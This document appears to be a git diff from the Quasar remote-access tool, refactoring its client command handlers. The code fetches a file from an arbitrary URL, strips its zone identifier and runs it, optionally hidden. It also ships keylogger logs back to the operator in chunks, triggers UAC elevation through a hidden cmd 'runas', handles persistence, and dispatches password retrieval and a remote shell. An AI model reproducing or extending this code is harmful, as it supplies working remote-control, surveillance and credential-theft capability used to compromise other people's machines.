100644 Quasar.Client/Commands/ConnectionHandler.cs create mode 100644 Quasar.Client/Messages/ClientServicesHandler.cs create mode 100644 Quasar.Client/Messages/KeyloggerHandler.cs rename Quasar.Client/{Installation => Setup}/ClientInstaller.cs (95%) rename Quasar.Client/{Installation => Setup}/ClientUninstaller.cs (83%) rename Quasar.Client/{Installation => Setup}/ClientUpdater.cs (88%) rename Quasar.Client/{Installation => Setup}/Startup.cs (98%) create mode 100644 Quasar.Common/Cryptography/SafeComparison.cs delete mode 100644 Quasar.Common/IO/FileSplitLegacy.cs delete mode 100644 Quasar.Common/Messages/DoClientUpdate.cs create mode 100644 Quasar.Common/Messages/DoRemoteExecution.cs rename Quasar.Common/Messages/{DoProcessStart.cs => DoRemoteExecutionResponse.cs} (54%) delete mode 100644 Quasar.Common/Messages/DoUploadAndExecute.cs rename Quasar.Common/Messages/{DoDownloadAndExecute.cs => FileTransferComplete.cs} (51%) rename Quasar.Common/Messages/{ICommandExecutor.cs => IMessageProcessor.cs} (65%) delete mode 100644 Quasar.Common/Messages/IProgress.cs delete mode 100644 Quasar.Server/Forms/FrmDownloadAndExecute.Designer.cs delete mode 100644 Quasar.Server/Forms/FrmDownloadAndExecute.cs rename Quasar.Server/Forms/{FrmUpdate.Designer.cs => FrmRemoteExecution.Designer.cs} (66%) create mode 100644 Quasar.Server/Forms/FrmRemoteExecution.cs rename Quasar.Server/Forms/{FrmDownloadAndExecute.resx => FrmRemoteExecution.resx} (100%) delete mode 100644 Quasar.Server/Forms/FrmUpdate.cs delete mode 100644 Quasar.Server/Forms/FrmUpdate.resx delete mode 100644 Quasar.Server/Forms/FrmUploadAndExecute.Designer.cs delete mode 100644 Quasar.Server/Forms/FrmUploadAndExecute.cs delete mode 100644 Quasar.Server/Forms/FrmUploadAndExecute.resx create mode 100644 Quasar.Server/Messages/RemoteExecutionHandler.cs diff --git a/Quasar.Client/Commands/ConnectionHandler.cs b/Quasar.Client/Commands/ConnectionHandler.cs deleted file mode 100644 index 8619c3586..000000000 --- a/Quasar.Client/Commands/ConnectionHandler.cs +++ /dev/null @@ -1,87 +0,0 @@ -using Quasar.Client.Installation; -using Quasar.Client.Utilities; -using Quasar.Common.Helpers; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using System; -using System.Net; -using System.Threading; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Client client) - { - // i dont like this updating... if anyone has a better idea feel free to edit it - if (string.IsNullOrEmpty(command.DownloadUrl)) - { - if (!RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe")); - - string filePath = RenamedFiles[command.Id]; - - try - { - if (command.CurrentBlock == 0 && !FileHelper.HasExecutableIdentifier(command.Block)) - throw new Exception("No executable file"); - - var destFile = new FileSplitLegacy(filePath); - - if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) - throw new Exception(destFile.LastError); - - if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished - { - if (RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Remove(command.Id); - client.Send(new SetStatus {Message = "Updating..."}); - ClientUpdater.Update(client, filePath); - } - } - catch (Exception ex) - { - if (RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Remove(command.Id); - NativeMethods.DeleteFile(filePath); - client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"}); - } - - return; - } - - new Thread(() => - { - client.Send(new SetStatus { Message = "Downloading file..." }); - - string tempFile = FileHelper.GetTempFilePath(".exe"); - - try - { - using (WebClient c = new WebClient()) - { - c.Proxy = null; - c.DownloadFile(command.DownloadUrl, tempFile); - } - } - catch - { - client.Send(new SetStatus {Message = "Download failed!"}); - return; - } - - client.Send(new SetStatus {Message = "Replacing executable..."}); - - ClientUpdater.Update(client, tempFile); - }).Start(); - } - - public static void HandleDoClientUninstall(DoClientUninstall command, Networking.Client client) - { - client.Send(new SetStatus {Message = "Uninstalling... good bye :-("}); - - ClientUninstaller.Uninstall(client); - } - } -} \ No newline at end of file diff --git a/Quasar.Client/Commands/FileHandler.cs b/Quasar.Client/Commands/FileHandler.cs index e9f1904aa..b553ca3fd 100644 --- a/Quasar.Client/Commands/FileHandler.cs +++ b/Quasar.Client/Commands/FileHandler.cs @@ -8,6 +8,7 @@ using System.IO; using System.Security; using System.Threading; +using Quasar.Common.Helpers; namespace Quasar.Client.Commands { @@ -115,6 +116,12 @@ public static void HandleDoDownloadFile(FileTransferRequest command, Networking. Chunk = chunk }); } + + client.Send(new FileTransferComplete + { + Id = command.Id, + FilePath = command.RemotePath + }); } } catch (Exception) @@ -152,12 +159,21 @@ public static void HandleDoUploadFile(FileTransferChunk command, Networking.Clie { if (command.Chunk.Offset == 0) { - if (File.Exists(command.FilePath)) + string filePath = command.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(".exe"); + } + + if (File.Exists(filePath)) { - NativeMethods.DeleteFile(command.FilePath); // delete existing file + // delete existing file + NativeMethods.DeleteFile(filePath); } - ActiveTransfers[command.Id] = new FileSplit(command.FilePath, FileAccess.Write); + ActiveTransfers[command.Id] = new FileSplit(filePath, FileAccess.Write); } if (!ActiveTransfers.ContainsKey(command.Id)) @@ -168,6 +184,11 @@ public static void HandleDoUploadFile(FileTransferChunk command, Networking.Clie if (destFile.FileSize == command.FileSize) { + client.Send(new FileTransferComplete + { + Id = command.Id, + FilePath = destFile.FilePath + }); RemoveFileTransfer(command.Id); } } diff --git a/Quasar.Client/Commands/MiscHandler.cs b/Quasar.Client/Commands/MiscHandler.cs index 07d0f7ee3..47ef8eef1 100644 --- a/Quasar.Client/Commands/MiscHandler.cs +++ b/Quasar.Client/Commands/MiscHandler.cs @@ -1,10 +1,6 @@ -using Quasar.Client.Utilities; -using Quasar.Common.Helpers; -using Quasar.Common.IO; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using System; using System.Diagnostics; -using System.IO; using System.Net; using System.Threading; using System.Windows.Forms; @@ -14,107 +10,6 @@ namespace Quasar.Client.Commands /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ public static partial class CommandHandler { - public static void HandleDoDownloadAndExecute(DoDownloadAndExecute command, - Networking.Client client) - { - client.Send(new SetStatus {Message = "Downloading file..."}); - - new Thread(() => - { - string tempFile = FileHelper.GetTempFilePath(".exe"); - - try - { - using (WebClient c = new WebClient()) - { - c.Proxy = null; - c.DownloadFile(command.Url, tempFile); - } - } - catch - { - client.Send(new SetStatus { Message = "Download failed" }); - return; - } - - client.Send(new SetStatus { Message = "Downloaded File" }); - - try - { - FileHelper.DeleteZoneIdentifier(tempFile); - - var bytes = File.ReadAllBytes(tempFile); - if (!FileHelper.HasExecutableIdentifier(bytes)) - throw new Exception("no pe file"); - - ProcessStartInfo startInfo = new ProcessStartInfo(); - if (command.RunHidden) - { - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.CreateNoWindow = true; - } - startInfo.UseShellExecute = false; - startInfo.FileName = tempFile; - Process.Start(startInfo); - } - catch (Exception ex) - { - NativeMethods.DeleteFile(tempFile); - client.Send(new SetStatus {Message = $"Execution failed: {ex.Message}"}); - return; - } - - client.Send(new SetStatus {Message = "Executed File"}); - }).Start(); - } - - public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client) - { - if (!RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); - - string filePath = RenamedFiles[command.Id]; - - try - { - if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.HasExecutableIdentifier(command.Block)) - throw new Exception("No executable file"); - - var destFile = new FileSplitLegacy(filePath); - - if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) - throw new Exception(destFile.LastError); - - if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute - { - if (RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Remove(command.Id); - - FileHelper.DeleteZoneIdentifier(filePath); - - ProcessStartInfo startInfo = new ProcessStartInfo(); - if (command.RunHidden) - { - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.CreateNoWindow = true; - } - startInfo.UseShellExecute = false; - startInfo.FileName = filePath; - Process.Start(startInfo); - - client.Send(new SetStatus {Message = "Executed File"}); - } - } - catch (Exception ex) - { - if (RenamedFiles.ContainsKey(command.Id)) - RenamedFiles.Remove(command.Id); - NativeMethods.DeleteFile(filePath); - - client.Send(new SetStatus {Message = $"Execution failed: {ex.Message}"}); - } - } - public static void HandleDoVisitWebsite(DoVisitWebsite command, Networking.Client client) { string url = command.Url; diff --git a/Quasar.Client/Commands/SurveillanceHandler.cs b/Quasar.Client/Commands/SurveillanceHandler.cs index 63310fc4c..2bd61d334 100644 --- a/Quasar.Client/Commands/SurveillanceHandler.cs +++ b/Quasar.Client/Commands/SurveillanceHandler.cs @@ -175,114 +175,5 @@ public static void HandleGetMonitors(GetMonitors command, Networking.Client clie client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); } } - - public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Networking.Client client) - { - new Thread(() => - { - try - { - int index = 1; - - if (!Directory.Exists(Keylogger.LogDirectory)) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = "", - Index = index, - FileCount = 0 - }); - return; - } - - FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles(); - - if (iFiles.Length == 0) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = "", - Index = index, - FileCount = 0 - }); - return; - } - - foreach (FileInfo file in iFiles) - { - var srcFile = new FileSplitLegacy(file.FullName); - - if (srcFile.MaxBlocks < 0) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - } - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = Path.GetFileName(file.Name), - Block = block, - MaxBlocks = srcFile.MaxBlocks, - CurrentBlock = currentBlock, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - //Thread.Sleep(200); - } - else - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = srcFile.LastError, - Index = index, - FileCount = iFiles.Length - }); - } - } - - index++; - } - } - catch (Exception ex) - { - client.Send(new GetKeyloggerLogsResponse - { - Filename = "", - Block = new byte[0], - MaxBlocks = -1, - CurrentBlock = -1, - CustomMessage = ex.Message, - Index = -1, - FileCount = -1 - }); - } - }).Start(); - } } } \ No newline at end of file diff --git a/Quasar.Client/Commands/SystemHandler.cs b/Quasar.Client/Commands/SystemHandler.cs index 8d3ab92c9..0ea4513b2 100644 --- a/Quasar.Client/Commands/SystemHandler.cs +++ b/Quasar.Client/Commands/SystemHandler.cs @@ -3,7 +3,9 @@ using System.Diagnostics; using System.IO; using System.Linq; +using System.Net; using System.Net.NetworkInformation; +using System.Threading; using System.Windows.Forms; using Microsoft.Win32; using Quasar.Client.Config; @@ -11,6 +13,7 @@ using Quasar.Client.Extensions; using Quasar.Client.IpGeoLocation; using Quasar.Client.Helper; +using Quasar.Client.Setup; using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.Extensions; @@ -407,31 +410,78 @@ public static void HandleGetProcesses(GetProcesses command, Networking.Client cl client.Send(new GetProcessesResponse {Processes = processes}); } - public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client) + public static void HandleDoRemoteExecution(DoRemoteExecution command, Networking.Client client) { - if (string.IsNullOrEmpty(command.ApplicationName)) + new Thread(() => { - client.Send(new SetStatus {Message = "Process could not be started!"}); - return; - } + string filePath = command.FilePath; - try - { - ProcessStartInfo startInfo = new ProcessStartInfo + if (string.IsNullOrEmpty(command.FilePath)) { - UseShellExecute = true, - FileName = command.ApplicationName - }; - Process.Start(startInfo); - } - catch - { - client.Send(new SetStatus {Message = "Process could not be started!"}); - } - finally - { - HandleGetProcesses(new GetProcesses(), client); - } + if (string.IsNullOrEmpty(command.DownloadUrl)) + { + client.Send(new DoRemoteExecutionResponse {Success = false}); + return; + } + + filePath = FileHelper.GetTempFilePath(".exe"); + + // download first + try + { + using (WebClient c = new WebClient()) + { + c.Proxy = null; + c.DownloadFile(command.DownloadUrl, filePath); + } + + FileHelper.DeleteZoneIdentifier(filePath); + } + catch + { + client.Send(new DoRemoteExecutionResponse {Success = false}); + NativeMethods.DeleteFile(filePath); + return; + } + } + + try + { + if (command.IsUpdate) + { + if (ClientUpdater.Update(client, filePath)) + { + Program.ConnectClient.Exit(); + } + else + { + throw new Exception("Update failed"); + } + } + else + { + var bytes = File.ReadAllBytes(filePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("no pe file"); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + } + client.Send(new DoRemoteExecutionResponse {Success = true}); + } + catch + { + client.Send(new DoRemoteExecutionResponse {Success = false}); + } + finally + { + HandleGetProcesses(new GetProcesses(), client); + } + }).Start(); } public static void HandleDoProcessKill(DoProcessKill command, Networking.Client client) @@ -449,38 +499,6 @@ public static void HandleDoProcessKill(DoProcessKill command, Networking.Client } } - public static void HandleDoAskElevate(DoAskElevate command, Networking.Client client) - { - if (WindowsAccountHelper.GetAccountType() != "Admin") - { - ProcessStartInfo processStartInfo = new ProcessStartInfo - { - FileName = "cmd", - Verb = "runas", - Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true - }; - - MutexHelper.CloseMutex(); // close the mutex so our new process will run - try - { - Process.Start(processStartInfo); - } - catch - { - client.Send(new SetStatus {Message = "User refused the elevation request."}); - MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex - return; - } - Program.ConnectClient.Exit(); - } - else - { - client.Send(new SetStatus {Message = "Process already elevated."}); - } - } - public static void HandleDoShellExecute(DoShellExecute command, Networking.Client client) { string input = command.Command; diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs new file mode 100644 index 000000000..643c899c1 --- /dev/null +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,116 @@ +using Quasar.Client.Config; +using Quasar.Client.Data; +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.Utilities; +using Quasar.Common.Helpers; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Net; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class ClientServicesHandler : MessageProcessorBase + { + private readonly Dictionary _renamedFiles = new Dictionary(); + + private readonly QuasarClient _client; + + public ClientServicesHandler(QuasarClient client) : base(false) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate; + + /// + public override bool CanExecuteFrom(ISender sender) => true; + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRemoteExecution msg: + Execute(sender, msg); + break; + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); + + new ClientUninstaller().Uninstall(client); + } + + private void Execute(ISender client, DoClientDisconnect message) + { + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + if (WindowsAccountHelper.GetAccountType() != "Admin") + { + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + MutexHelper.CloseMutex(); // close the mutex so the new process can run + try + { + Process.Start(processStartInfo); + } + catch + { + client.Send(new SetStatus {Message = "User refused the elevation request."}); + MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already elevated." }); + } + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs new file mode 100644 index 000000000..c509ee8fe --- /dev/null +++ b/Quasar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,148 @@ +using Quasar.Client.Utilities; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.IO; +using System.Threading; +using Quasar.Common.IO; + +namespace Quasar.Client.Messages +{ + public class KeyloggerHandler : MessageProcessorBase + { + private Keylogger logger; + + public KeyloggerHandler() : base(false) + { + + } + + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogs; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogs msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogs message) + { + /*new Thread(() => + { + try + { + int index = 1; + + if (!Directory.Exists(Keylogger.LogDirectory)) + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = "", + Block = new byte[0], + MaxBlocks = -1, + CurrentBlock = -1, + CustomMessage = "", + Index = index, + FileCount = 0 + }); + return; + } + + FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles(); + + if (iFiles.Length == 0) + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = "", + Block = new byte[0], + MaxBlocks = -1, + CurrentBlock = -1, + CustomMessage = "", + Index = index, + FileCount = 0 + }); + return; + } + + foreach (FileInfo file in iFiles) + { + var srcFile = new FileSplitLegacy(file.FullName); + + if (srcFile.MaxBlocks < 0) + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = "", + Block = new byte[0], + MaxBlocks = -1, + CurrentBlock = -1, + CustomMessage = srcFile.LastError, + Index = index, + FileCount = iFiles.Length + }); + } + + for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) + { + byte[] block; + if (srcFile.ReadBlock(currentBlock, out block)) + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = Path.GetFileName(file.Name), + Block = block, + MaxBlocks = srcFile.MaxBlocks, + CurrentBlock = currentBlock, + CustomMessage = srcFile.LastError, + Index = index, + FileCount = iFiles.Length + }); + //Thread.Sleep(200); + } + else + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = "", + Block = new byte[0], + MaxBlocks = -1, + CurrentBlock = -1, + CustomMessage = srcFile.LastError, + Index = index, + FileCount = iFiles.Length + }); + } + } + + index++; + } + } + catch (Exception ex) + { + client.Send(new GetKeyloggerLogsResponse + { + Filename = "", + Block = new byte[0], + MaxBlocks = -1, + CurrentBlock = -1, + CustomMessage = ex.Message, + Index = -1, + FileCount = -1 + }); + } + }).Start();*/ + } + + protected override void Dispose(bool disposing) + { + throw new NotImplementedException(); + } + } +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index 3e6cafcc7..1b3dcf4cb 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -10,6 +10,7 @@ using System.Net.Security; using System.Net.Sockets; using System.Security.Authentication; +using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Threading; @@ -303,6 +304,8 @@ private bool ValidateServerCertificate(object sender, X509Certificate certificat // for debugging don't validate server certificate return true; #else + var serverCsp = (RSACryptoServiceProvider)_serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(certificate).PublicKey.Key; // compare the received server certificate with the included server certificate to validate we are connected to the correct server return _serverCertificate.Equals(certificate); #endif @@ -629,7 +632,7 @@ public void Disconnect() _payloadLen = 0; _payloadBuffer = null; _receiveState = ReceiveType.Header; - _singleWriteMutex.Dispose(); + //_singleWriteMutex.Dispose(); TODO: fix socket re-use if (_proxyClients != null) { diff --git a/Quasar.Client/Networking/PacketHandler.cs b/Quasar.Client/Networking/PacketHandler.cs index 197c8cfbd..971fcda56 100644 --- a/Quasar.Client/Networking/PacketHandler.cs +++ b/Quasar.Client/Networking/PacketHandler.cs @@ -11,32 +11,7 @@ public static void HandlePacket(Client client, IMessage packet) { var type = packet.GetType(); - if (type == typeof(DoDownloadAndExecute)) - { - CommandHandler.HandleDoDownloadAndExecute((DoDownloadAndExecute)packet, - client); - } - else if (type == typeof(DoUploadAndExecute)) - { - CommandHandler.HandleDoUploadAndExecute((DoUploadAndExecute)packet, client); - } - else if (type == typeof(DoClientDisconnect)) - { - Program.ConnectClient.Exit(); - } - else if (type == typeof(DoClientReconnect)) - { - Program.ConnectClient.Disconnect(); - } - else if (type == typeof(DoClientUninstall)) - { - CommandHandler.HandleDoClientUninstall((DoClientUninstall)packet, client); - } - else if (type == typeof(DoAskElevate)) - { - CommandHandler.HandleDoAskElevate((DoAskElevate)packet, client); - } - else if (type == typeof(GetDesktop)) + if (type == typeof(GetDesktop)) { CommandHandler.HandleGetDesktop((GetDesktop)packet, client); } @@ -48,10 +23,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoProcessKill((DoProcessKill)packet, client); } - else if (type == typeof(DoProcessStart)) - { - CommandHandler.HandleDoProcessStart((DoProcessStart)packet, client); - } else if (type == typeof(GetDrives)) { CommandHandler.HandleGetDrives((GetDrives)packet, client); @@ -88,10 +59,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoShowMessageBox((DoShowMessageBox)packet, client); } - else if (type == typeof(DoClientUpdate)) - { - CommandHandler.HandleDoClientUpdate((DoClientUpdate)packet, client); - } else if (type == typeof(GetMonitors)) { CommandHandler.HandleGetMonitors((GetMonitors)packet, client); @@ -161,10 +128,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleChangeRegistryValue((DoChangeRegistryValue)packet, client); } - else if (type == typeof(GetKeyloggerLogs)) - { - CommandHandler.HandleGetKeyloggerLogs((GetKeyloggerLogs)packet, client); - } else if (type == typeof(GetPasswords)) { CommandHandler.HandleGetPasswords((GetPasswords)packet, client); @@ -184,6 +147,10 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoCloseConnection(client, (DoCloseConnection)packet); } + else if (type == typeof(DoRemoteExecution)) + { + CommandHandler.HandleDoRemoteExecution((DoRemoteExecution)packet, client); + } } } } \ No newline at end of file diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 77492b965..4306b5059 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -37,6 +37,8 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat public void Connect() { + // TODO: move connect loop to QuasarApplication + // TODO: do not re-use object while (!Exiting) // Main Connect Loop { if (!Connected) @@ -80,6 +82,7 @@ private void OnClientRead(Client client, IMessage message, int messageLength) return; } + MessageHandler.Process(client, message); PacketHandler.HandlePacket(client, message); } @@ -124,7 +127,6 @@ private void OnClientState(Client client, bool connected) }); } } - if (!connected && !Exiting) LostConnection(); diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 6e456451a..e94e831af 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -2,23 +2,27 @@ using Quasar.Client.Config; using Quasar.Client.Data; using Quasar.Client.Helper; -using Quasar.Client.Installation; +using Quasar.Client.Setup; using Quasar.Client.IO; using Quasar.Client.Networking; using Quasar.Client.Utilities; using Quasar.Common.Helpers; using System; +using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Net; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Messages; +using Quasar.Common.Messages; namespace Quasar.Client { internal static class Program { public static QuasarClient ConnectClient; + private static readonly List MessageProcessors = new List(); private static ApplicationContext _msgLoop; [STAThread] @@ -73,6 +77,7 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv private static void Cleanup() { + CleanupMessageProcessors(); CommandHandler.CloseShell(); if (CommandHandler.StreamCodec != null) CommandHandler.StreamCodec.Dispose(); @@ -87,6 +92,24 @@ private static void Cleanup() MutexHelper.CloseMutex(); } + private static void InitializeMessageProcessors(QuasarClient client) + { + MessageProcessors.Add(new ClientServicesHandler(ConnectClient)); + MessageProcessors.Add(new KeyloggerHandler()); + + foreach(var msgProc in MessageProcessors) + MessageHandler.Register(msgProc); + } + + private static void CleanupMessageProcessors() + { + foreach (var msgProc in MessageProcessors) + { + MessageHandler.Unregister(msgProc); + msgProc.Dispose(); + } + } + private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); @@ -142,12 +165,13 @@ private static bool Initialize() } ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(ConnectClient); return true; } else { MutexHelper.CloseMutex(); - ClientInstaller.Install(ConnectClient); + new ClientInstaller().Install(ConnectClient); return false; } } diff --git a/Quasar.Client/Installation/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs similarity index 95% rename from Quasar.Client/Installation/ClientInstaller.cs rename to Quasar.Client/Setup/ClientInstaller.cs index a299e0e6e..368b34199 100644 --- a/Quasar.Client/Installation/ClientInstaller.cs +++ b/Quasar.Client/Setup/ClientInstaller.cs @@ -1,16 +1,17 @@ using Quasar.Client.Config; using Quasar.Client.Data; using Quasar.Common.Helpers; +using Quasar.Common.Networking; using System; using System.Diagnostics; using System.IO; using System.Threading; -namespace Quasar.Client.Installation +namespace Quasar.Client.Setup { - public static class ClientInstaller + public class ClientInstaller { - public static void Install(Networking.Client client) + public void Install(ISender client) { bool isKilled = false; diff --git a/Quasar.Client/Installation/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs similarity index 83% rename from Quasar.Client/Installation/ClientUninstaller.cs rename to Quasar.Client/Setup/ClientUninstaller.cs index 729b7c582..973048c06 100644 --- a/Quasar.Client/Installation/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -3,14 +3,15 @@ using Quasar.Client.IO; using Quasar.Client.Utilities; using Quasar.Common.Messages; +using Quasar.Common.Networking; using System; using System.Diagnostics; -namespace Quasar.Client.Installation +namespace Quasar.Client.Setup { - public static class ClientUninstaller + public class ClientUninstaller { - public static void Uninstall(Networking.Client client) + public bool Uninstall(ISender client) { try { @@ -30,11 +31,12 @@ public static void Uninstall(Networking.Client client) }; Process.Start(startInfo); - Program.ConnectClient.Exit(); + return true; } catch (Exception ex) { client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"}); + return false; } } } diff --git a/Quasar.Client/Installation/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs similarity index 88% rename from Quasar.Client/Installation/ClientUpdater.cs rename to Quasar.Client/Setup/ClientUpdater.cs index 478f2a600..9a2a15c05 100644 --- a/Quasar.Client/Installation/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -4,15 +4,16 @@ using Quasar.Client.Utilities; using Quasar.Common.Helpers; using Quasar.Common.Messages; +using Quasar.Common.Networking; using System; using System.Diagnostics; using System.IO; -namespace Quasar.Client.Installation +namespace Quasar.Client.Setup { public static class ClientUpdater { - public static void Update(Networking.Client client, string newFilePath) + public static bool Update(ISender client, string newFilePath) { try { @@ -38,12 +39,13 @@ public static void Update(Networking.Client client, string newFilePath) if (Settings.STARTUP) Startup.RemoveFromStartup(); - Program.ConnectClient.Exit(); + return true; } catch (Exception ex) { NativeMethods.DeleteFile(newFilePath); client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"}); + return false; } } } diff --git a/Quasar.Client/Installation/Startup.cs b/Quasar.Client/Setup/Startup.cs similarity index 98% rename from Quasar.Client/Installation/Startup.cs rename to Quasar.Client/Setup/Startup.cs index d6522a303..2bd639b85 100644 --- a/Quasar.Client/Installation/Startup.cs +++ b/Quasar.Client/Setup/Startup.cs @@ -5,7 +5,7 @@ using Quasar.Client.Data; using Quasar.Client.Helper; -namespace Quasar.Client.Installation +namespace Quasar.Client.Setup { public static class Startup { diff --git a/Quasar.Common/Cryptography/Aes256.cs b/Quasar.Common/Cryptography/Aes256.cs index 26c9a91eb..fa737216b 100644 --- a/Quasar.Common/Cryptography/Aes256.cs +++ b/Quasar.Common/Cryptography/Aes256.cs @@ -1,6 +1,5 @@ using System; using System.IO; -using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; @@ -107,7 +106,7 @@ public byte[] Decrypt(byte[] input) byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); - if (!AreEqual(hash, receivedHash)) + if (!SafeComparison.AreEqual(hash, receivedHash)) throw new CryptographicException("Invalid message authentication code (MAC)."); } @@ 